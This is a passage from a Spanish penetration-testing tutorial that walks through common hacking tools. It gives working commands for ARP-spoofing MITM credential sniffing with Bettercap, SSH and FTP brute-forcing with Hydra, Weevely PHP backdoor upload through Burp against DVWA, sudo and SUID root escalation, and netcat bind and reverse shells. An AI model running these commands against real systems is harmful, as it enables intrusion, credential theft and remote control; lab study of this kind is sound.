Los primeros tres conjuntos de dos dígitos es donde

tendrán que colocar la dirección MAC del dispositivo

que eligieron, los otros tres que restan lo completan

con dígitos aleatorios.


ANGRY IP SCANNER

Angry IP Scanner es una herramienta para escanear las

direcciones IP y puertos de los dispositivos que están

conectados al router, debo añadir que es de código

abierto.

Instalación y uso:

Es muy fácil de instalarlo, lo primero es ir a su web

oficial y descargar el paquete DEB correspondiente.

Descargar: https://angryip.org/download/#linux

Abrimos la terminal y en el directorio donde se

descargo el paquete lo instalamos con el gestor dpkg:

dpkg -i ipscan_3.7.6_amd64.deb

Ahora debemos de buscarlo en el apartado de

aplicaciones:


Por último, le damos al botón “Comenzar” y esperamos a

que realice el escaneo:

Rango IP de inicio y

finalización

= Host activo

= Host inactivo

Angry ofrece múltiples opciones, entre ellas

Geolocalizador IP, Ping, Whois, Navegador Web (login),

FTP, Telnet, Trace route, SSH.


KISMET

Kismet es un programa de Linux que permite detectar y

rastrear intrusiones en una red de wifi inalámbrica

(WLANs) mediante tarjetas wireless estándar 802.11ª,

802.11g y 802.11b. Esta herramienta también es

utilizada para Wardriving, es decir, una técnica que

consiste en buscar redes inalámbricas Wi-Fi (APs) que

están a nuestro alrededor desde un vehículo. Kismet

funciona con la tarjeta en modo monitor y los paquetes

capturados son guardados en un archivo de salida.

Instalación y uso:

Para instalar kismet, ejecutar el siguiente comando:

sudo apt-get install kismet

Iniciamos la herramienta y le indicamos la tarjeta que

vamos a utilizar:

kismet_server -c wlan0

Fuente a capturar

Interfaz

Está siendo ejecutado en modo

servidor, por lo tanto nos devuelve

una dirección http para administrar

las redes y ver la información de

forma más ordenada.

http://localhost:2501


Luego de conectarnos a nuestro localhost nos saldrá la

siguiente ventana donde muestra las redes Wi-Fi y los

dispositivos cercanos:

Si es la primera vez que ejecutan kismet les

pedirá que ingresen un usuario y contraseña.

Con clic izquierdo obtenemos información de un

dispositivo o red en específico:

Las “Data Sources” capturan información por la interfaz

indicada, y la opción “Hop” es salto de canal en canal

cada 5 segundos.


Los filtros o registros permite situarse

en un determinado dispositivo o punto de

acceso:

Al hacer clic izquierdo en una red de Wi-FI las

direcciones MAC’s están asociadas a un dispositivo

conectado (cliente), de este modo, conseguimos

identificarlo:


BETTERCAP

Bettercap es la nueva versión mejorada de Ettercap, es

capaz de realizar varios tipos de ataques MITM contra

una red IPv4 y IPv6, manipular el tráfico HTTP, HTTPS y

TCP en tiempo real. También es capaz de realizar

ataques de desautenticación, Bluetooth Low Energy,

PMKID y obtener el handshake de clientes que usan

protocolo WPA y WPA2. Cabe destacar que Bettercap

incorpora un sniffer capaz de conseguir credenciales de

usuario de forma rápida y fácil.

Instalación y uso:

Ejecutar los siguientes comandos en forma ordenada:

1-

sudo apt-get install build-essential ruby-dev libpcap-dev

2-

apt-get update

3-

apt-get install bettercap

Iniciar bettercap según la interfaz de red:

bettercap -iface wlan0

El menú de ayuda mostrará todos los módulos disponibles

y cuales están en ejecución:

help


Empezaremos por lo más sencillo, un monitoreo de

conexión en dónde revelaremos todos los dispositivos

que se encuentren conectados a nuestra red y que

páginas visita.

Módulo NET.PROBE Al activarlo, envía diferentes tipos de

solicitudes de sonda a cada IP en la subred

para que el módulo net.recon los detecte.

net.probe on

Dispositivos

conectados.

Total: 4 sin

el router.

Módulo TICKER Mostrar información de los dispositivos

detectados de forma ordenada.

ticker on

Módulo ARP.SPOOF Falsifica hosts seleccionados en la red

utilizando paquetes ARP diseñados para

realizar un ataque MITM.

set arp.spoof.targets "IP local"

IP del objetivo


Activamos el módulo mencionado anteriormente:

arp.spoof on

Módulo NET.SNIFF Rastreador de paquetes de red, es capaz de

analizar varios protocolos importantes para

recolectar credenciales.

set net.sniff.verbose false

El modo “verbose” se desactiva para no

generar alertas, ya que solo queremos

capturar paquetes que genere nuestra máquina

víctima.

set net.sniff.local true

Comenzar analizar el tráfico de red:

Para analizar e imprimir paquetes generados

por la máquina, tenemos que definir el valor

como verdadero.

net.sniff on

Páginas que visita la víctima


Capturar credenciales (Sniffing)

Este ataque, realizado anteriormente con Ettercap,

consiste en colocarse en medio de la transmisión de

datos entre dos máquinas que conforman la red. El

objetivo principal del espionaje es capturar

credenciales que corren por la red. En la actualidad

aún existen páginas con el protocolo HTTP, y algunas de

ellas pertenecen al gobierno.

Poniendo en práctica lo aprendido, activamos los

siguientes módulos ya mencionados:

1- bettercap -iface wlan0

2- net.probe on

Módulo NET.SHOW

Este módulo lee y reconoce la tabla ARP del

sistema para detectar nuevos hosts en la

red.

3-

net.show

Parámetro ARP.SPOOF.FULLDUPLEX

Si es verdadero, los objetivos y la puerta

de enlace serán atacados; de ser falso,

solo el objetivo. Si el enrutador tiene

protecciones de suplantación de identidad

ARP, hará que el ataque falle.

4-

set arp.spoof.fullduplex true


Lo siguiente será establecer la IP del objetivo:

5-

set arp.spoof.targets "IP"

Iniciar el ARP spoofer:

6-

arp.spoof on

Parámetro NET.SNIFF.LOCAL

Si es verdadero, considerará los paquetes

desde/hacia esta computadora, de lo

contrario, los omitirá. Esto significa que

todos los datos se están transfiriendo

desde nuestra computadora u otra.

7-

set net.sniff.local true

Por último, encender el olfateo y capturar los

paquetes:

8- net.sniff on

Una vez que la víctima introduzca los datos,

inmediatamente nos llegará a la terminal.


WPSCAN

WPScan es una importante herramienta que los

profesionales de la seguridad y desarrolladores de

sitios webs pueden usar para escanear sitios de

WordPress en busca de vulnerabilidades y mejorar su

seguridad contra terceros malintencionados.

Está herramienta es capaz de encontrar usuarios y

contraseñas débiles, problemas en la configuración de

seguridad, plugins y temas utilizados. Cabe destacar

que incluye un parámetro de fuerza bruta.

Uso de WPScan:

Al igual que la gran mayoría de herramientas dispone de

un comando de ayuda, el siguiente:

wpscan --h

Actualizar la base de

datos con las últimas

vulnerabilidades:

wpscan --update


Completada la actualización vamos a realizar un escaneo

simple para chequear como funciona esta herramienta,

para ello he utilizado dorks para facilitar la búsqueda

de páginas vulnerables.

Página de dorks: https://www.exploit-db.com/google-hacking-database

Se actualiza constantemente

Escaneo básico

El escaneo básico es el modo más simple en que podemos

revisar el sitio WordPress, se le considera no

intrusivo:

wpscan --url www.example.com

En el apartado de “Headers” es para descubrir

información acerca del servidor:

Los archivos robots.txt indican si determinados agentes

de usuarios pueden o no rastrear partes de un sitio

web. El registro de agente de usuario define el inicio

de un grupo de directivas.


XML-RPC permite la comunicación y transmisión de

WordPress con otros sitios webs y aplicaciones remotas,

de manera de poder intercambiar datos y agregar nuevas

funciones. Con el tiempo xmlrpc.php se ha vuelto una

amenaza de seguridad, y por ende, se recomienda

deshabilitarlo. El hecho de estar activado implica que

los crackers puedan obtener acceso a tu sitio mediante

fuerza bruta con tan solo creando combinaciones de

usuarios y contraseñas.

La segunda debilidad que aprovechaban estos usuarios

malintencionados era utilizar la función de pingbacks

para mandar miles de solicitudes a un sitio, provocando

un ataque DDoS.

¡VULNERABILIDAD GRAVE!

Mantener el registro de usuario de WordPress habilitado

permite que cualquier usuario tenga autorización a una

cuenta en tu WordPress, de tal manera que puede enviar

spam o peor aún, un defacing.


En WordPress las actualizaciones son sumamente

importantes debido a que si tenemos algo desactualizado

puede provocar que nuestro sitio web tenga

vulnerabilidades o errores.

Con saber la versión es suficiente para encontrar resultados en Google de

posibles agujeros de seguridad

La opción enumerate nos permite inspeccionar los

plugins, temas y cuentas de usuarios en la aplicación

web, informando de posibles vulnerabilidades y

versiones actuales:

wpscan --url www.example.com --enumerate

Este parámetro suele ir acompañado de opciones que se

encargan de mostrar ciertos plugins o temas:

p: muestra un listado de todos los plugins instalados.

wpscan --url www.example.com --enumerate p

vp: muestra solamente los plugins vulnerables.

wpscan --url www.example.com --enumerate vp


ap: descubre todos los plugins disponibles, envía un

número considerable de peticiones al servidor web.

wpscan --url www.example.com --enumerate ap

t: muestra el listado de temas instalados.

wpscan --url www.example.com --enumerate t

at: descubre todos los temas disponibles y también

envía un número considerable de peticiones hacía el

servidor web.

wpscan --url www.example.com --enumerate at

vt: muestra solamente los temas vulnerables.

wpscan --url www.example.com --enumerate vt

tt: detectar la presencia de scripts de TimThumb, una

vulnerabilidad de tipo zero day que presentó graves

problemas.

wpscan --url www.example.com --enumerate tt

u: enumera las diez primeras cuentas de usuario que

mantengan un id entre 1 y 10.

wpscan --url www.example.com --enumerate u

Ej:

wpscan --url www.example.com --enumerate u[1-10]

Inicio

Fin


--force: obligamos a WPScan que pase por alto la

ejecución remota del sitio WordPress.

wpscan --url www.example.com --force

--follow-redirection: en el caso de que el sitio tiene

una redirección, se seguirá sin preguntar.

wpscan --url www.example.com --follow-redirection

Ataque de fuerza bruta

--passwords: lista de archivos de contraseñas para usar

durante el ataque de contraseña.

--usernames: especificar uno o más nombres de usuarios.

Ej:

wpscan --url www.example.com --passwords wordlist.txt --usernames admin

Diccionario

Usuario

--enumerate -u

El ataque de fuerza bruta consiste en probar todas las

combinaciones posibles que se encuentran en un

diccionario hasta hallar con aquella que permita el

acceso, la duración dependerá de la longitud y

caracteres de la contraseña.


THC HYDRA

Hydra es una poderosa herramienta que se utiliza para

crackear sistemas de login de diferentes protocolos:

HTTP, HTTPS, TELNET, FTP, HTTP-PROXY, SMB, SMBNT, CVS,

MS-SQL, entre otros muchos más.

Su funcionamiento se basa en el uso de diccionarios

donde podremos almacenar todas aquellas posibles

contraseñas, de tal modo que permite a los

investigadores la posibilidad de mostrar que tan

fácilmente se puede obtener acceso no autorizado hacia

un sistema.

Uso de Hydra:

Hydra se ejecuta desde la línea de comandos y como toda

herramienta también incluye la opción de ayuda:

hydra -h

PARÁMETROS:

• l- es el nombre de usuario.

• L- con la mayúscula podemos poner un diccionario con

usuarios.

• p- es la contraseña del usuario.


• M- lista de servidores a atacar.

• P- con la mayúscula podemos agregar un diccionario con

contraseñas.

• v- es el verbose mode que imprime en pantalla los

intentos de usuarios-contraseñas.

• V- muestra más detalles del proceso de crackeo.

• R- restaura la sesión anterior en el caso de ser

abortada.

• S- se conecta por SSL.

• s- se utiliza para especificar un puerto, Hydra por

defecto agrega los puertos predeterminados.

• C- esta opción específica un diccionario combo, es

decir, un diccionario que tenga usuarios y contraseñas

(eliminando l- y p-).

• o- es el documento de salida que nos ira dejando luego

de sacar las contraseñas y usuarios.

Ej: o- user_pass.txt

• f- se cierra Hydra luego de encontrar la primera

contraseña.

• W- especificar el tiempo máximo que queramos que este

crackeando.

Ej: W- 55555

• t- permite cambiar la cantidad de contraseñas que se

crackean en paralelo (por defecto son 16), solo si

tienes un ordenador potente.

• b- especificar el formato de salida para –o (json,

jsonv1).

• y- deshabilita el uso de símbolos en fuerza bruta.


Cracking MetaSploitable

Metasploitable es una máquina virtual preconfigurada

que cuenta con una serie de vulnerabilidades

desafiantes para permitirnos poner a prueba nuestras

técnicas de hacking utilizando exploits, por ejemplo,

metasploit.

Descargar: https://sourceforge.net/projects/metasploitable/files/

Clic derecho y abrir con

VMware

Por predeterminado metasploitable mantiene una sesión

en la consola con el usuario msfadmin y contraseña

msfadmin:

Descifrar user y pass:

Antes de comenzar el ataque es preciso conocer el

objetivo, en este caso, los puertos abiertos.


Haremos uso de nmap para descubrir los puertos y

servicios que corren en él:

nmap -sV -p- 192.168.58.131

Escanear todos los puertos

IP de la máquina Metasploitable

Objetivo : puerto 22 > servicio SSH

Finalmente, aplicaremos hydra para descifrar la

contraseña:

hydra -L wordlist.txt -p msfadmin "service://IP"

Si quisiéramos hacerlo con nmap, sería tan simple como

usar el script ssh-brute:

nmap --script ssh-brute --script-args userdb=usernames.txt "IP"

Diccionario con posibles

usuarios autorizados


SCRIPT SSH-BRUTE Ataque de fuerza bruta contra servidores

SSH

En cuyo caso de que se trate del servicio FTP,

simplemente se reemplaza el puerto 22 por el 21:

nmap -sV -p 21 192.168.58.131

Objetivo : puerto 21 > servicio FTP

Ejecutaremos hydra con los siguientes parámetros:

hydra -L users.txt -P pass.txt "ftp://IP" -o credenciales.txt

Diccionario con usuarios

Diccionario con contraseñas

Documento de salida donde

se guarda los usuarios y

contraseñas encontradas


BURP SUITE

Burp Suite, también llamado «la navaja suiza de los

hackers», es una potente herramienta para realizar

auditorías de seguridad a aplicaciones web. Integra una

variedad de funcionalidades y componentes para realizar

las pruebas de pentesting y combinar cada una de ellas

de manera automática o manual.

Esta herramienta cuenta con dos versiones Burp Free

(gratuita) y Burp Professional (de pago), la versión

gratuita se encuentra instalada por defecto en la

distribución de Kali Linux pero si es tu primera vez

que ejecutas dicha herramienta, deberás aceptar los

pasos y por último comenzar con el proyecto.

Método GET y POST

Antes de comenzar con la prueba de pentest, es

imprescindible que conozcan las diferencias de los

términos GET y POST que se utilizan para enviar los

datos al servidor. Algo que no mencione de Burp Suite

es que su función básica se encuentra en el servidor

proxy (que configuraremos más adelante) que permite

interceptar el tráfico entre el navegador y aplicación

destino, el cual posibilita inspeccionarlo y

modificarlo. El usuario/cliente hace un request al

servidor pidiendo cierto contenido o archivo, la

repuesta del servidor se envía como un response

mostrando la petición que pidió el cliente. Para

“hackear” un sitio y obtener una shell remota lo que

hacemos es ponernos en el medio del request (petición)

y así poder interceptarlo para su posterior

modificación.


Hay dos tipos de requets, el request GET es cuando

pedimos información acerca del contenido, y el request

POST es cuando subimos un archivo o nos logueamos en un

sitio web.

Pentesting

Explotar vulnerabilidad File Upload

El siguiente ejemplo que veremos a continuación es la

explotación de la vulnerabilidad File Upload, que como

su nombre lo indica, es una vulnerabilidad que ocurre

en aplicaciones web donde existe la posibilidad de

subir un archivo sin que sea comprobado por un sistema

de seguridad que de alguna u otra manera frene peligros

potenciales. Permite a un atacante alojar archivos con

código malicioso (.PHP, .ASPX) y ejecutarlos en el

mismo servidor.

En mi caso, haré uso de la máquina Metasploitable 2

para tener un entorno más controlado y sin perjudicar a

nadie.

IP de la máquina

192.168.25.130


Insertaremos la dirección IP en el navegador y como

resultado se desplegará el panel de aplicaciones web

preinstaladas y con vulnerabilidades incorporadas, el

que nos interesa se llama DVWA (Damn Vulnerable Web

App).

Credenciales

Username = admin

Password = password

En la seguridad de DVWA

podemos establecer el nivel

de este, escogeré el nivel

bajo para obtener acceso

solamente utilizando la

herramienta weevely.


¿Qué es “Weevely”?

Es una herramienta de administración de webshell

escrita en Python, sirve para crear backdoors (puerta

trasera) en .PHP y contiene más de 30 módulos para

testear tareas administrativas; mantener acceso,

escalar privilegios y difundirse en la red. Cabe

recalcar que un ciberdelincuente podría utilizar esta

vulnerabilidad para obtener acceso de administrador y

desconfigurar la web por completo, así como también

borrar la base de datos o un simple defacement.

Crear una BACKDOOR

Su uso es básico, abren una terminal y ejecutan el

siguiente comando según las especificaciones:

weevely generate pass123 /home/whoami/backdoor.php

contraseña del backdoor

nombre del backdoor

ruta donde se guardará el backdoor

Continuando con lo que estábamos, es momento de subir

nuestro backdoor en el apartado de “upload”:


El ejemplo anterior nos devolvió una ruta la cual

debemos copiar y unirla junto con la dirección IP,

quedaría de la siguiente forma:

http://192.168.25.130/dvwa/hackable/uploads/backdoor.php

Nuevamente, volvemos a la terminal e ingresaremos el

comando weevely junto a la URL proporcionada + la

contraseña que hemos generado:

weevely http://192.168.25.130/dvwa/hackable/uploads/backdoor.php pass123

Y así de simple es como obtenemos acceso remoto a una

webshell y conseguimos ejecutar cualquier comando

dentro de lo permitido.

Seguridad Media

El próximo ejemplo es donde haremos uso de la

herramienta Burp Suite junto con Weevely, pero en esta

ocasión subiré la seguridad de baja a media y por

último a la más alta.


El primer paso será abrir la herramienta y configurar

el proxy el cual permite interceptar las peticiones e

inspeccionar el tráfico entre el navegador y el

servidor.

IP -> 127.0.0.1

Puerto -> 8080

Después hecho lo anterior, abrirán el navegador web

(Firefox de preferencia) y establecen el servidor proxy

con la IP y el puerto de Burp:

Al momento de volver a subir el backdoor nos devolverá

un error porque al aumentar la seguridad solo admite

archivos con extensión “.jpg” referente a una imagen:

El backdoor generado anteriormente lo renombramos a

“backdoor.jpg”, según el nombre que le han puesto.

ANTES

DESPUÉS


La pestaña de Proxy cuenta con subpestañas encargadas

de interceptar, mostrar peticiones y respuestas de la

comunicación destino. Los cuatro botones encargados de

controlar el proxy son:

• Intercept is on/off: permite iniciar y detener la

intercepción.

• Forward: continuar con la petición interceptada hacia

el servidor de destino.

• Drop: descartar la petición.

• Action: enviar la petición interceptada a otro

componente de Burp Suite.

Nuestra primera prueba será interceptar la petición del

backdoor en formato imagen para posteriormente su

modificación. Es importante activar el botón de

interceptar (ON).

Si intentamos subir el archivo verán que Burp captura

la petición y devuelve los datos. En cuyo caso de que

tengan alguna petición interceptada sin haber tocado

nada en el explorador, pueden desactivar el interceptor

o pulsar en “Drop” repetidamente hasta que la ventana

quede en blanco.


La línea importante que se debe modificar en este caso

es “filename=“, renombrar backdoor.jpg a backdoor.php:

A continuación, cliqueamos en “Forward” para que el

archivo se suba:

Volvemos a la terminal y repetimos los pasos con

weevely:

weevely http://192.168.25.130/dvwa/hackable/uploads/backdoor.php pass123


Es una vulnerabilidad muy peligrosa ya que permite a

un atacante apropiarse de un servidor web por medio de

una reverse Shell o puerta trasera. Como seguridad

recomiendo que nunca permitan que usuarios no

privilegiados puedan subir archivos ejecutables, así

como analizar el archivo con su respectiva extensión.


ESCALAR PRIVILEGIOS

Unos de los métodos más recurrentes luego de haber

explotado una vulnerabilidad en el sistema víctima es la

escalada de privilegios. Esta técnica ocurre cuando el

atacante se aprovecha de configuraciones incorrectas,

contraseñas débiles u otro tipo de errores que permite

acceder a activos protegidos. Este tipo de ataque pueden

ser locales o remotos. Sin embargo, existe una variedad

de explotaciones a nivel sistema operativo; donde el

atacante obtiene acceso a nivel kernel o sistema desde

una cuenta de usuario limitada; desde una red local o

nube; e incluso a nivel aplicación web y dominio.

Las vulnerabilidades de escalada de privilegios son

grandes cuando se trata de sistemas operativos. Pues, en

un sistema se encuentran muchos servicios corriendo y

controladores que se ejecutan con privilegios. Si el

acceso a esas zonas no se restringe, los atacantes

pueden aprovecharse y realizar tareas como usuario root.

Estos ataques se dividen en vertical y horizontal.

Vertical: cuando el atacante logra obtener acceso a una

cuenta root y ejecuta tareas con ese usuario.

Horizontal: cuando el atacante compromete una o más

cuentas de usuarios con privilegios limitados y

posteriormente vulnera el sistema para obtener permisos

y ejecutar funciones administrativas.


Abuso de Sudoers

La vulnerabilidad de Sudo es una utilidad que permite a

un atacante ejecutar comandos con acceso raíz. Omite la

política de seguridad de sudo, permitiendo que otros

usuarios ejecuten comandos en modo administrador (root).

En las distribuciones de Linux, el comando ALL que se

encuentra dentro de la ruta "/etc/sudoers", permite

ejecutar comandos con permisos ilimitados por parte de

un usuario en el grupo de administradores. Básicamente,

lo que se hace es saltarse las excepciones declaradas

por Sudo aunque este igual haya configurado un archivo

sudoers para establecer permisos y restringir el acceso

a ciertos usuarios.

A modo de ejemplo, crearé un usuario con una shell de

bin/bash, seguido de un directorio a nivel de sistema

ubicado en /home/:

useradd "nombre" -d /home/nombre -s /bin/bash

mkdir "nombre"


Por alguna razón el usuario "reliant" le pide al

administrador que le otorgue permisos a nivel de sudoers

para crear comprimidos ZIPs como root, lo cual éste

acepta ya que cree que no hay riesgo alguno. De ser así,

el administrador agregaría las siguientes líneas al

archivo mencionado:

Usuario

Comando (ZIP)

Permiso con nivel sudo sin

proporcionar contraseña

El comando "sudo –l" nos devuelve

un listado de los permisos que

tenemos otorgados, allí se observa

que el usuario reliant tiene

permiso de root para ejecutar el

comando zip.

El proyecto GTFOBINS fue creado con la finalidad de

filtrar información, acceder a directorios u archivos

restringidos, y lo más importante; elevar privilegios.

URL:

https://gtfobins.github.io/


El binario que nos interesa es zip de privilegios sudo:

En el apartado de Sudo, explica de que forma nos podemos

convertir en usuario root a partir de los siguientes

comandos listados:

mktemp -> crear directorios aleatorios de forma

temporal.

rm -> eliminar directorios y archivos.

La segunda línea es la que nos va a permitir elevar

privilegio sin perder estos permisos administrativos.

sudo zip $TF /etc/hosts -T -TT 'sh #'

Nombre de la variable,

puede ser cualquiera

Es así de sencillo como se

logra escalar privilegios por

un permiso que a simple vista

es "indefenso" pero un atacante

podría aprovecharse y acceder a

zonas restringidas.


Abuso de permisos SUID

Un SUID es un permiso especial que pueden tener ciertos

archivos ejecutables de un sistema. En cuyo caso que un

archivo tenga configurado el bit SUID, los usuarios

pueden ejecutarlo con los permisos de su propietario.

Los binarios SUID se identificar con el carácter "s" en

el cuarto bit de los permisos del archivo (Ej.

‘passwd’). Estos binarios suelen ser el principal

objetivo de los crackers ya que si se consigue encontrar

una vulnerabilidad en un programa con este bit activo

sería posible escalar privilegios. Los ejecutables de

Linux conocidos que pueden permitir una escalada de

privilegios son: Nmap (de la versión 2.02 a la 5.21),

Find, Vim, Timeout, Systemctl, Bash, Nano, CP, More,

Less, Nano.

El siguiente comando puede descubrir todos los

ejecutables SUID que se encuentran en el sistema.

Específicamente, intentará encontrar los archivos en el

directorio raíz "/", los imprime y luego redirige los

errores a "/dev/null".

Buscar en el sistema

find / -perm -4000 2>/dev/null

Directorio raíz


Un ejemplo de binarios SUID vulnerables es el comando

"python". Si encuentra el bit SUID establecido,

fácilmente se puede realizar una escalada de

privilegios. Antes que nada, es importante cambiar su

directorio actual a donde se encuentra el binario

python.

python -c 'import os;os.system("/bin/sh -p")'

En caso de tener éxito, obtendrá una shell con

privilegios elevados. Puede verificar esto ejecutando

el comando "whoami".

Otros de los binarios más explotados es el "timeout". En

esta excepción utilizaremos nuevamente GTFOBINS:

Cualquier usuario no privilegiado puede ejecutar el

comando timeout como el usuario root y de esta manera

conseguir elevar privilegios temporalmente.


HASH-IDENTIFIER

Hash Identifier es una herramienta basada en python que

le permite identificar rápidamente el tipo de hash

utilizado para cifrar contraseñas. Admite más de 220

tipos de hash únicos mediante expresiones regulares. Es

capaz de identificar un único hash o leer un archivo y

agrupar los diferentes hashes dentro de ellos, así como

también incluir el modo Hashcat o el formato de

JohnTheRipper en su salida.

¿Qué es un Hash?

Un hash es una función criptográfica que genera

identificadores únicos e irrepetibles con una longitud

indeterminada a partir de los datos de entrada. Estas

funciones tienen como objetivo codificar datos para

almacenar contraseñas de forma segura en texto

ilegible, comprobar la integridad de datos, firma de

documentos electrónicos, entre otras. Cumplen un papel

fundamental en los antivirus ya que estos se basan en

valores hash para determinar si un archivo es malicioso

o no, sin examinar el contenido o el comportamiento de

este. El motor del antivirus calcula el valor del hash

y prueba si hay coincidencia en su base de datos que

pertenezcan al malware conocido.

ENTRE LOS MÁS POPULARES

- MD2

- MD4

- MD5

- SAM

- DES (Unix)

- md5crypt

- Haval-128

- Tiger-128

- RipeMD-128

- SNEFRU-128

- RAdmin v2.x

- BCRYPT

- CRC-16

- FCS-16

- SHA-1

- NTLM

- Argon2

- Whirlpool


Identificar HASH

Para identificar un hash tenemos varios métodos, los

más utilizados es por medio de una herramienta la cual

vamos a ver a continuación. Como plan B también existen

identificadores online que no solo devuelven el tipo de

hash, sino que también es posible romper el cifrado del

mismo; siempre y cuando este en la base de datos.

Su uso es fácil, basta con ejecutar la herramienta y

proporcionarle el hash a encontrar:

hash-identifier

Posible hash: MD5, DCC

Posible hash: SHA-1


HASH Cracking

Luego de haber identificado el tipo de hash que

tengamos en frente, el siguiente paso es romper el

cifrado por medio de fuerza bruta. Para el siguiente

ejemplo se va hacer uso de la herramienta de

JohnTheRipper y un diccionario con las posibles

contraseñas del hash.

El comando de john es el siguiente:

john --format=Raw-MD5 --wordlist= "ruta/del/diccionario" "hash"

Tipo de hash (Ej. MD5, SHA-1) Ruta del diccionario Hash a descifrar

Contraseña del hash encontrada. He agregado intencionalmente la

contraseña al diccionario para no perder tiempo y poder

mostrarles el procedimiento.

En caso de que el hash sea SHA-1 u otro, solo

cambiaríamos el formato:

john --format=Raw-SHA1 --wordlist= "ruta/del/diccionario" "hash"


SEARCHSPLOIT

Existen diversas fuentes que contienen base de datos de

exploits públicos, pero ninguna se compara con Exploit-

DB. Es la colección más completa de exploits y ha sido

desarrollado para realizar pruebas de penetración y

estar prevenido de las posibles vulnerabilidades

criticas.

¿Qué es un EXPLOIT?

Como su nombre lo describe, un exploit es un programa o

fragmento de código malicioso diseñado para

aprovecharse y explotar una falla de seguridad,

generalmente con fines maliciosos. Un exploit no es un

malware como tal, es más un "pasaje" para introducir

malware a un sistema informático y generar

comportamientos no intencionados. Por lo general, la

toma de control de un sistema de forma remota, así como

también privilegios de administrador para lanzar

ataques DoS/DDoS.

Zero Day

Una vulnerabilidad de día cero es un ataque que por el

momento no tiene defensa, es decir, la vulnerabilidad

acaba de ser descubierta y como tal, no tiene un parche

que la solucione. Su principal amenaza es que mientras

se lanza dicho parche y los usuarios lo instalan en sus

respectivos equipos, los atacantes tienen libertad para

explotar la vulnerabilidad y sacar provecho de ello.

Encontrar un fallo de estos requiere de mucho tiempo,

por lo general se debe a un error de código del

software, servicio o página web. Por ejemplo, antes de

lanzar una aplicación al mercado se recomienda realizar

un testing para comprobar que todo este en orden, en

caso de no hacerlo, el atacante puede examinar el

código y encontrar fallas de seguridad.


Exploit-DB se puede acceder desde su página web oficial

o bajar los exploits desde la línea de terminal, como

haremos en este caso. De igual manera, les dejaré el

link al sitio oficial.

https://www.exploit-db.com

La herramienta contiene parámetros a utilizar, la

búsqueda básica sería:

searchsploit "exploit"

El parámetro “-t” permite realizar una búsqueda mas

precisa acerca de la vulnerabilidad o buscar el exploit

con un título en especifico.

searchsploit -t "exploit"


Cada exploit esta enumerado con cifra de números únicos

e irrepetibles. El parámetro "-p" muestra la ruta del

exploit e información más detallada del mismo.

searchsploit -p "exploit"

El siguiente parámetro a mostrar es el "-m", con él

podemos copiar (descargar) el exploit al directorio

proporcionado:

searchsploit -m "exploit"

Con la opción de "--examine" se puede inspeccionar el

código fuente del exploit:

searchsploit --examine "exploit"


Con la opción "-w" se muestra la URL completa de Exploit-

DB para ser inspeccionada y obtener información más

destallada:

searchsploit "exploit" -w

El parámetro "--exclude" se habilita cuando deseamos

eliminar los caracteres o resultados no deseados dentro

de la base de exploits:

searchsploit "exploit" --exclude="carácter"


NETCAT

Netcat o nc, es otra de las navajas suizas más

utilizada por hackers y administradores de red, ya que

tiene muchas funcionalidades. Esta herramienta es rica

en características; modo escucha por un puerto

determinado, transferir archivos de un cliente a

servidor (carga y descarga), creación de puerta

trasera, entre otras. Las conexiones de red que lee y

escribe es a través del protocolo TCP/IP, con

conexiones entrantes y salientes TCP/UDP.

Como toda herramienta, contiene un menú de ayuda:

nc -h

Escanear puertos abiertos:

nc -n -z -v "host" "rango-puerto"

-n => solo numérico (dirección IP)

-z => mostrar solo el estado del

puerto

-v => modo verbose


Como lo mencione anteriormente, netcat también sirve

para transferir archivos de una máquina a otra, y es lo

que haremos en el siguiente ejemplo.

Del lado de la máquina que recibe el archivo:

nc -l -v -p "puerto" > "archivo"

Es válido agrupar todos los parámetros “-lvp”

La máquina que envía el archivo:

nc -w 3 "host" "puerto" < "archivo"

-l => modo escucha para conexiones entrantes.

-p => número del puerto.

-w => tiempo de espera para conexiones.

Descubrir servidor web corriendo por detrás:

echo -en "GET / HTTP/1.0\n\n\n" | nc -v "host" "puerto" | grep Server

Encabezado HTTP por una petición GET

Comando bash: imprimir texto en pantalla


BIND Shell

Una Bind shell es una conexión directa desde la máquina

del atacante hacia la víctima por medio de un servicio

a la escucha. Para iniciar una bind shell, el atacante

debe tener la dirección IP de la víctima para acceder a

la computadora de destino y ejecutar comandos.

Del lado de la máquina víctima:

nc -lvp "puerto" -c bash

Del lado del atacante:

nc "host" "puerto"

-c + bash => ejecutar comandos bash


REVERSE Shell

Una Reverse shell es una configuración por parte del

atacante, es decir, primero debe iniciar el servidor en

su máquina , mientras que la víctima tendrá que actuar

como un cliente que se conecta al servidor creado por

el atacante. Después de la conexión exitosa, el

atacante puede obtener acceso a una shell inversa. A

diferencia de la bind, no es necesario que el atacante

conozca la dirección IP de la víctima.

Del lado del atacante (modo escucha):

nc -lvp "puerto"

Del lado de la víctima:

nc "host" "puerto" -e /bin/bash

-e => conectar una shell, cumple la misma función que el

parámetro -c


DIRBUSTER

Dirbuster es una aplicación diseñada para la detección

de nombres de directorios y archivos en servidores

web/aplicación por medio de fuerza bruta. En ocasiones,

un servidor web tiene páginas y aplicaciones ocultas,

esto con el propósito de restringir zonas sensibles a

usuarios públicos/no privilegiados para mantener cierta

información a “salvo”. La herramienta dirbuster esta

programada en Java, por lo tanto cuenta con una interfaz

gráfica (GUI) o si lo prefieren, desde la terminal.

Descubrir directorios y archivos

En la terminal, ejecutan el comando dirbuster y se

abrirá la aplicación.

En el primero campo de texto deben agregar la URL del

sitio web junto con el puerto:


Usar solo solicitudes GET: dirbuster solo realizara

solicitudes GET al escanear el sitio.

Cambio automático (HEAD y GET): dirbuster intentara

ejecutar primero una solicitud HEAD y luego una GET,

esto ahorrara ancho de banda y tiempo a comparación de

una sola petición.

Los threads es el número de subprocesos que utilizará la

herramienta. Esto acelera o ralentiza la búsqueda de

enumeración. De forma predeterminada, varía de 1 al 100,

al marcar la casilla de "Go Faster", esto se puede

aumentar hasta 500 subprocesos. Es importante tener en

cuenta la cantidad de subprocesos, la cantidad de

solicitudes por segundo puede bloquear o limitar el

acceso o el tiempo para finalizar.

Por defecto, dirbuster trae diccionarios listos para

utilizar en el ataque de fuerza bruta, es una

recolección hecha por distintos sitios de internet.

RUTA:

/usr/share/wordlists/dirbuster/


Por último, elegimos que deseamos enumerar (directorios

o archivos):

Luego de haber terminado el ataque, en la pestaña de

resultado se listarán los posibles directorios y

archivos encontrados:

Para acceder a cada una de ellas, solamente se tiene que

juntar la URL + el Dir/Archivo.

EJEMPLO:

http://prueba.com/phpMyAdmin/


DIRB

Dirb es un escáner de contenido web, busca los objetos

web existentes (ocultos). Básicamente cumple la misma

función que Dirbuster, solo que el procedimiento es por

